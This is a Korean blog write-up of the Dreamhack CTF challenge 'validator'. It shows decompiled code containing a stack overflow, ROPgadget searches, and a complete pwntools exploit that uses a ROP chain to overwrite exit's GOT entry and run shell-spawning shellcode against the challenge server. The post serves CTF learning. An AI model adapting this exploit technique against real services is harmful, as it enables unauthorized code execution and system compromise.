본문 바로가기

시스템해킹

[드림핵] validator 풀이

728x90

 

이번 문제는 c코드로 된 문제코드가 없어서 매우 당황했다

커뮤티니를 보니 ida툴로 디코딩을 해서 봐야하는 것 같았다

ida툴로 찾아 문제코드를 복구해보았다.

 

 

 

보호기법 확인

partial relro이기에 got를 사용할 수 있겠다

 

 

 

ida 툴에서 f5를 눌러 디코딩해 문제코드를 복구했다

 

 

 

문제코드

main을 먼저 확인하고 validate 함수를 불러오는것을 확인할 수 있다 

 

validate 함수코드인데 이를 보면 main->validate 함수 -> 종료 패턴이다

 

correct 변수에는 커서를 올려보니 "" 안에 값과 동일하게 들어있다.

 

 

 

문제코드

int __fastcall main(int argc, const char **argv, const char **envp)
{
  char s[128]; // [rsp+0h] [rbp-80h] BYREF

  memset(s, 0, 0x10uLL);
  read(0, s, 0x400uLL);
  validate((__int64)s, 0x80uLL);
  return 0;
}

__int64 __fastcall validate(__int64 a1, unsigned __int64 a2)
{
  unsigned int i; // [rsp+1Ch] [rbp-4h]
  int j; // [rsp+1Ch] [rbp-4h]

  for ( i = 0; i <= 9; ++i )
  {
    if ( *(_BYTE *)((int)i + a1) != correct[i] )
      exit(0);
  }
  for ( j = 11; a2 > j; ++j )
  {
    if ( *(unsigned __int8 *)(j + a1) != *(char *)(j + 1LL + a1) + 1 )
      exit(0);
  }
  return 0LL;
}

 

 

보기 편하게 해놓고 보니 코드가 복잡하게 되어있다.

memset 함수로 변수 s를 0으로 설정하고

read 함수로 s변수에 1024만큼 값을 받는다

그리고 validate 를 s변수와 128를 인자로 받아 호출한다

 

validate 함수에서는 if 두개가 있는데

각각 correct 변수 0~9까지 총 10바이트가 일치한다면 exit를 실행하지 않고

a1변수 즉 main에 있던 s 변수에 11 ~ 128까지 반복하여

s와 s+1 값이 같으면 exit를 실행하지 않는다

 

그렇다면  s에 입력은 correct 변수값 + 0부터 1씩 증가하여 값을 추가 한다면

그 뒤에 got overwrite를 사용하여 쉘코드를 집어 넣으면 flag를 얻을 수 있겠다

 

 

문제 풀이 과정

1. ROP 가젯 찾기

2. payload 작성

3. 실행

 

 

 

 

1. ROP 가젯 찾기

 

got overwrite는 exit를 사용하고 read 함수를 사용할 것이기에 인자 3개를 사용

 

ROPgadget --binary ./validator_server --re "pop rdi"

 

ROPgadget --binary ./validator_server --re "pop rsi"

 

ROPgadget --binary ./validator_server --re "pop rdx"

 

 

 

2. payload 작성

from pwn import *
p = remote('host3.dreamhack.games', 11613)

e = ELF("./validator_server")

context.arch = "amd64"
shellcode = asm(shellcraft.sh())

pop_rdi = 0x004006f3
pop_rsi_r15 = 0x004006f1
pop_rdx = 0x0040057b

payload = b"DREAMHACK!" # 10 바이트
list = []

for i in range(119, 0, -1): # 119 바이트
        list.append(i)

payload += bytes(list)
payload += b'a'*7  # 129 바이트에서 8바이트 씩 맞춰주기 위해 7 추가

payload += p64(pop_rdi) + p64(0)
payload += p64(pop_rsi_r15) + p64(e.got['exit']) + p64(0)
payload += p64(pop_rdx) + p64(0x150) + p64(e.plt['read'])
payload += p64(e.got['exit'])

p.send(payload)
p.send(shellcode)

p.interactive()

 

'a'값을 추가해 준 이유는 plt가 작동이 안되는것 같아 overwrite를 하기전에

8바이트씩 값을 맞춰주었다

 

 

 

 

 

 

3. 실행

 

 

 

 

 

풀이 실패 과정

 

1. 변수에 값을 넣을때 plt가 작동이 되지 않아 고민하던 중

overwrite 하기 전에 값들이 8바이트 씩 되어있지 않아 8바이트로 맞춰 주었더니

해결되었다.

 

2. 파이썬이 익숙하지 않아 배열에 값을 하나씩 추가해서 넣는 과정에 문제가 생겨

구글에서 찾아 해결했다

 

3. 쉘코드를 만드는 과정에서 shellcraft를 사용했는데

context.arch = "amd64" 를 추가하지 않아서 문제가 발생했다

인터넷에서 찾아볼 때 대충보지 말고 꼼꼼히 봐야겠다..

'시스템해킹' 카테고리의 다른 글

[드림핵] off_by_one_001 풀이  (0) 2024.09.06
[드림핵] ssp_000 풀이  (0) 2024.09.06
[드림핵] cmd_center 풀이  (0) 2024.07.21
[드림핵] sint 풀이  (0) 2024.07.21
[드림핵] tcache_dup2 풀이  (0) 2024.07.17